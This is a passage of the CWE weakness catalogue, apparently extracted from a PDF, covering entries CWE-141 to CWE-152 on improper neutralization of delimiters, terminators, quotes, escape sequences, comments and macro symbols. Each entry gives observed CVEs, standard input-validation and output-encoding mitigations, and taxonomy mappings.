While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict whitelist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

**Implementation****Input Validation**

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

**Relationships**

Nature	Type	ID	Name	✓	Page
ChildOf	<b>B</b>	140	Improper Neutralization of Delimiters	<b>699</b>	287
ChildOf	<b>C</b>	990	SFP Secondary Cluster: Tainted Input to Command	<b>888</b>	1388

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Parameter Delimiter
Software Fault Patterns	SFP24	Tainted input to command

**References**

- [REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 8, "Embedded Delimiters", Page 408.. 1st Edition. Addison Wesley. 2006.
- [REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 10, "IFS", Page 604.. 1st Edition. Addison Wesley. 2006.

## CWE-142: Improper Neutralization of Value Delimiters

Weakness ID: 142 (*Weakness Variant*)

Status: Draft

**Description****Summary**

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as value delimiters when they are sent to a downstream component.

**Extended Description**

As data is parsed, an injected/absent/malformed delimiter may cause the process to take unexpected actions.

**Time of Introduction**

- Implementation

**Applicable Platforms****Languages**

- All

**Common Consequences****Integrity****Unexpected state****Observed Examples**

Reference	Description
CVE-2000-0293	Multiple internal space, insufficient quoting - program does not use proper delimiter between values.

**Potential Mitigations**



Developers should anticipate that value delimiters will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and white lists to ensure only valid, expected and appropriate input is processed by the system.

### Implementation

#### Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

### Implementation

#### Output Encoding


While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict whitelist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

### Implementation

#### Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

### Relationships

Nature	Type	ID	Name	CVSS	Page
ChildOf		140	Improper Neutralization of Delimiters	699	287
ChildOf		990	SFP Secondary Cluster: Tainted Input to Command	888	1388

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Value Delimiter
Software Fault Patterns	SFP24	Tainted input to command

### References

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 8, "Embedded Delimiters", Page 408.. 1st Edition. Addison Wesley. 2006.

## CWE-143: Improper Neutralization of Record Delimiters

Weakness ID: 143 (Weakness Variant)

Status: Draft

### Description

#### Summary

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as record delimiters when they are sent to a downstream component.

**Extended Description**

As data is parsed, an injected/absent/malformed delimiter may cause the process to take unexpected actions.

**Time of Introduction**

- Implementation

**Applicable Platforms****Languages**

- All

**Common Consequences****Integrity****Unexpected state****Observed Examples**

Reference	Description
CVE-2001-0527	Attacker inserts carriage returns and " " field separator characters to add new user/privileges.
CVE-2004-1982	Carriage returns in subject field allow adding new records to data file.

**Potential Mitigations**

Developers should anticipate that record delimiters will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and white lists to ensure only valid, expected and appropriate input is processed by the system.

**Implementation****Input Validation**

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

**Implementation****Output Encoding**

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict whitelist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

**Implementation****Input Validation**

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

**Relationships**

Nature	Type	ID	Name	✓	Page
ChildOf	ⓑ	140	Improper Neutralization of Delimiters	699	287

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
				<b>1000</b>	
ChildOf	<b>C</b>	990	SFP Secondary Cluster: Tainted Input to Command	<b>888</b>	1388

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Record Delimiter
Software Fault Patterns	SFP24	Tainted input to command

### References

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 8, "Embedded Delimiters", Page 408.. 1st Edition. Addison Wesley. 2006.

## CWE-144: Improper Neutralization of Line Delimiters

Weakness ID: 144 (*Weakness Variant*)

Status: Draft

### Description

#### Summary

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as line delimiters when they are sent to a downstream component.

#### Extended Description

As data is parsed, an injected/absent/malformed delimiter may cause the process to take unexpected actions.

### Time of Introduction

- Implementation

### Applicable Platforms

#### Languages

- All

### Common Consequences

#### Integrity

#### Unexpected state

### Observed Examples

Reference	Description
CVE-2002-0267	Linebreak in field of PHP script allows admin privileges when written to data file.

### Potential Mitigations

Developers should anticipate that line delimiters will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and white lists to ensure only valid, expected and appropriate input is processed by the system.

#### Implementation

##### Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

**Implementation****Output Encoding**

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict whitelist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

**Implementation****Input Validation**

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

**Relationships**

Nature	Type	ID	Name	CVSS	Page
CanAlsoBe	B	93	Improper Neutralization of CRLF Sequences ('CRLF Injection')	1000	172
ChildOf	B	140	Improper Neutralization of Delimiters	699 1000	287
ChildOf	C	845	CERT Java Secure Coding Section 00 - Input Validation and Data Sanitization (IDS)	844	1291
ChildOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1388

**Relationship Notes**

Depending on the language and syntax being used, this could be the same as the record delimiter (CWE-143).

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Line Delimiter
CERT Java Secure Coding Software Fault Patterns	IDS03-J SFP24	Do not log unsanitized user input Tainted input to command

**References**

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 8, "Embedded Delimiters", Page 408.. 1st Edition. Addison Wesley. 2006.

**CWE-145: Improper Neutralization of Section Delimiters****Weakness ID:** 145 (*Weakness Variant*)**Status:** Incomplete**Description****Summary**

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as section delimiters when they are sent to a downstream component.

**Extended Description**

As data is parsed, an injected/absent/malformed delimiter may cause the process to take unexpected actions.

One example of a section delimiter is the boundary string in a multipart MIME message. In many cases, doubled line delimiters can serve as a section delimiter.

**Time of Introduction**

- Implementation

**Applicable Platforms****Languages**

- All

## Common Consequences

### Integrity

### Unexpected state

## Potential Mitigations

Developers should anticipate that section delimiters will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and white lists to ensure only valid, expected and appropriate input is processed by the system.

### Implementation

#### Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

### Implementation

#### Output Encoding


While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict whitelist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

### Implementation

#### Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

## Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
CanAlsoBe		93	Improper Neutralization of CRLF Sequences ('CRLF Injection')	1000	172
ChildOf		140	Improper Neutralization of Delimiters	<b>699</b> <b>1000</b>	287
ChildOf		990	SFP Secondary Cluster: Tainted Input to Command	<b>888</b>	1388

## Relationship Notes

Depending on the language and syntax being used, this could be the same as the record delimiter (CWE-143).

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Section Delimiter
Software Fault Patterns	SFP24	Tainted input to command

## References

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 8, "Embedded Delimiters", Page 408.. 1st Edition. Addison Wesley. 2006.

## CWE-146: Improper Neutralization of Expression/Command Delimiters

Weakness ID: 146 (Weakness Variant)

Status: Incomplete

### Description

#### Summary

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as expression or command delimiters when they are sent to a downstream component.

#### Extended Description

As data is parsed, an injected/absent/malformed delimiter may cause the process to take unexpected actions.

#### Time of Introduction

- Implementation

#### Applicable Platforms

##### Languages

- Language-independent

#### Common Consequences

##### Confidentiality

##### Integrity

##### Availability

##### Other

##### Execute unauthorized code or commands

##### Alter execution logic

#### Potential Mitigations

Developers should anticipate that inter-expression and inter-command delimiters will be injected/removed/manipulated in the input vectors of their software system.

#### Implementation

##### Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

#### Implementation

##### Output Encoding




While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict whitelist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).



**Implementation****Input Validation**

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

**Relationships**

Nature	Type	ID	Name		Page
ChildOf		140	Improper Neutralization of Delimiters		287
				<b>699</b>	
				<b>1000</b>	
ChildOf		990	SFP Secondary Cluster: Tainted Input to Command	<b>888</b>	1388

**Relationship Notes**

A shell metacharacter (covered in CWE-150) is one example of a potential delimiter that may need to be neutralized.

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Delimiter between Expressions or Commands
Software Fault Patterns	SFP24	Tainted input to command

**Related Attack Patterns**

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
6	Argument Injection	
15	Command Delimiters	

**References**

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 8, "Embedded Delimiters", Page 408.. 1st Edition. Addison Wesley. 2006.

## CWE-147: Improper Neutralization of Input Terminators

**Weakness ID:** 147 (*Weakness Variant*)**Status:** Draft**Description****Summary**

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as input terminators when they are sent to a downstream component.

**Extended Description**

For example, a "." in SMTP signifies the end of mail message data, whereas a null character can be used for the end of a string.

**Time of Introduction**

- Implementation

**Applicable Platforms****Languages**

- All

**Common Consequences****Integrity****Unexpected state****Observed Examples**

Reference	Description
CVE-2000-0319	MFV. mail server does not properly identify terminator string to signify end of message, causing corruption, possibly in conjunction with off-by-one error.
CVE-2000-0320	MFV. mail server does not properly identify terminator string to signify end of message, causing corruption, possibly in conjunction with off-by-one error.
CVE-2001-0996	Mail server does not quote end-of-input terminator if it appears in the middle of a message.
CVE-2002-0001	Improperly terminated comment or phrase allows commands.

**Potential Mitigations**



Developers should anticipate that terminators will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and white lists to ensure only valid, expected and appropriate input is processed by the system.

### Implementation

#### Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

### Implementation

#### Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict whitelist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

### Implementation

#### Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

### Relationships

Nature	Type	ID	Name	CVSS	Page
ChildOf		138	Improper Neutralization of Special Elements	699	285
ChildOf		990	SFP Secondary Cluster: Tainted Input to Command	888	1388
CanAlsoBe		170	Improper Null Termination	1000	328

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Input Terminator
Software Fault Patterns	SFP24	Tainted input to command

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
460	HTTP Parameter Pollution (HPP)	

## CWE-148: Improper Neutralization of Input Leaders

Weakness ID: 148 (Weakness Variant)

Status: Draft

### Description

#### Summary

The application does not properly handle when a leading character or sequence ("leader") is missing or malformed, or if multiple leaders are used when only one should be allowed.

**Time of Introduction**

- Implementation

**Common Consequences****Integrity****Unexpected state****Potential Mitigations**

Developers should anticipate that leading characters will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and white lists to ensure only valid, expected and appropriate input is processed by the system.

**Implementation****Input Validation**

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

**Implementation****Output Encoding**

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict whitelist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

**Implementation****Input Validation**

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

**Relationships**

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		138	Improper Neutralization of Special Elements	<b>699</b>	285
ChildOf		990	SFP Secondary Cluster: Tainted Input to Command	<b>888</b>	1388

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Input Leader
Software Fault Patterns	SFP24	Tainted input to command

## CWE-149: Improper Neutralization of Quoting Syntax

**Weakness ID:** 149 (*Weakness Variant*)**Status:** Draft**Description****Summary**

Quotes injected into an application can be used to compromise a system. As data are parsed, an injected/absent/duplicate/malformed use of quotes may cause the process to take unexpected actions.

### Time of Introduction

- Implementation

### Common Consequences

#### Integrity

#### Unexpected state

### Observed Examples

Reference	Description
CVE-2003-1016	MIE. MFV too? bypass AV/security with fields that should not be quoted, duplicate quotes, missing leading/trailing quotes.
CVE-2004-0956	Database allows remote attackers to cause a denial of service (application crash) via a MATCH AGAINST query with an opening double quote but no closing double quote.

### Potential Mitigations

Developers should anticipate that quotes will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and white lists to ensure only valid, expected and appropriate input is processed by the system.

#### Implementation

##### Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

#### Implementation

##### Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict whitelist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

#### Implementation

##### Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

### Relationships

Nature	Type	ID	Name	✓	Page
ChildOf		138	Improper Neutralization of Special Elements	<b>699</b>	285
				<b>1000</b>	
ChildOf		990	SFP Secondary Cluster: Tainted Input to Command	<b>888</b>	1388

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Quoting Element
Software Fault Patterns	SFP24	Tainted input to command

**Related Attack Patterns**

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
468	Generic Cross-Browser Cross-Domain Theft	

## CWE-150: Improper Neutralization of Escape, Meta, or Control Sequences

Weakness ID: 150 (*Weakness Variant*)

Status: Incomplete

**Description****Summary**

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as escape, meta, or control character sequences when they are sent to a downstream component.

**Extended Description**

As data is parsed, an injected/absent/malformed delimiter may cause the process to take unexpected actions.

**Time of Introduction**

- Implementation

**Applicable Platforms****Languages**

- All

**Common Consequences****Integrity****Unexpected state****Observed Examples**

Reference	Description
CVE-2000-0476	Terminal escape sequences not filtered by terminals when displaying files.
CVE-2000-0703	Setuid program does not filter escape sequences before calling mail program.
CVE-2001-1556	MFV. (multi-channel). Injection of control characters into log files that allow information hiding when using raw Unix programs to read the files.
CVE-2002-0542	The mail program processes special "~" escape sequence even when not in interactive mode.
CVE-2002-0986	Mail function does not filter control characters from arguments, allowing mail message content to be modified.
CVE-2003-0020	Multi-channel issue. Terminal escape sequences not filtered from log files.
CVE-2003-0021	Terminal escape sequences not filtered by terminals when displaying files.
CVE-2003-0022	Terminal escape sequences not filtered by terminals when displaying files.
CVE-2003-0023	Terminal escape sequences not filtered by terminals when displaying files.
CVE-2003-0063	Terminal escape sequences not filtered by terminals when displaying files.
CVE-2003-0083	Multi-channel issue. Terminal escape sequences not filtered from log files.

**Potential Mitigations**

Developers should anticipate that escape, meta and control characters/sequences will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and white lists to ensure only valid, expected and appropriate input is processed by the system.

**Implementation****Input Validation**

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.




**Implementation****Output Encoding**

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict whitelist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

**Implementation****Input Validation**

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

**Relationships**

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		138	Improper Neutralization of Special Elements	<b>699</b>	285
ChildOf		845	CERT Java Secure Coding Section 00 - Input Validation and Data Sanitization (IDS)	<b>844</b>	1291
ChildOf		990	SFP Secondary Cluster: Tainted Input to Command	<b>888</b>	1388

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Escape, Meta, or Control Character / Sequence
CERT Java Secure Coding	IDS03-J	Do not log unsanitized user input

**Related Attack Patterns**

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
41	Using Meta-characters in E-mail Headers to Inject Malicious Payloads	
81	Web Logs Tampering	
93	Log Injection-Tampering-Forging	

## CWE-151: Improper Neutralization of Comment Delimiters

Weakness ID: 151 (Weakness Variant)

Status: Draft

**Description****Summary**

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as comment delimiters when they are sent to a downstream component.

#### Time of Introduction

- Implementation

#### Applicable Platforms

##### Languages

- All

#### Common Consequences

##### Integrity

##### Unexpected state

#### Observed Examples

Reference	Description
CVE-2002-0001	Mail client command execution due to improperly terminated comment in address list.
CVE-2004-0162	MIE. RFC822 comment fields may be processed as other fields by clients.
CVE-2004-1686	Well-placed comment bypasses security warning.
CVE-2005-1909	Information hiding using a manipulation involving injection of comment code into product. Note: these vulnerabilities are likely vulnerable to more general XSS problems, although a regexp might allow ">!--" while denying most other tags.
CVE-2005-1969	Information hiding using a manipulation involving injection of comment code into product. Note: these vulnerabilities are likely vulnerable to more general XSS problems, although a regexp might allow "<!--" while denying most other tags.

#### Potential Mitigations

Developers should anticipate that comments will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and white lists to ensure only valid, expected and appropriate input is processed by the system.

##### Implementation

##### Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

##### Implementation

##### Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict whitelist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).



**Implementation****Input Validation**

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

**Relationships**

Nature	Type	ID	Name	V	Page
ChildOf		138	Improper Neutralization of Special Elements	<b>699</b>	285
ChildOf		990	SFP Secondary Cluster: Tainted Input to Command	<b>888</b>	1388

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Comment Element
Software Fault Patterns	SFP24	Tainted input to command

## CWE-152: Improper Neutralization of Macro Symbols

Weakness ID: 152 (*Weakness Variant*)

Status: Draft

**Description****Summary**

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as macro symbols when they are sent to a downstream component.

**Time of Introduction**

- Implementation

**Applicable Platforms****Languages**

- All

**Common Consequences****Integrity****Unexpected state****Observed Examples**

Reference	Description
CVE-2002-0770	Server trusts client to expand macros, allows macro characters to be expanded to trigger resultant information exposure.
CVE-2008-2018	Attacker can obtain sensitive information from a database by using a comment containing a macro, which inserts the data during expansion.

**Potential Mitigations****Implementation****Input Validation**

Developers should anticipate that macro symbols will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and white lists to ensure only valid, expected and appropriate input is processed by the system.



**Implementation****Input Validation**

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

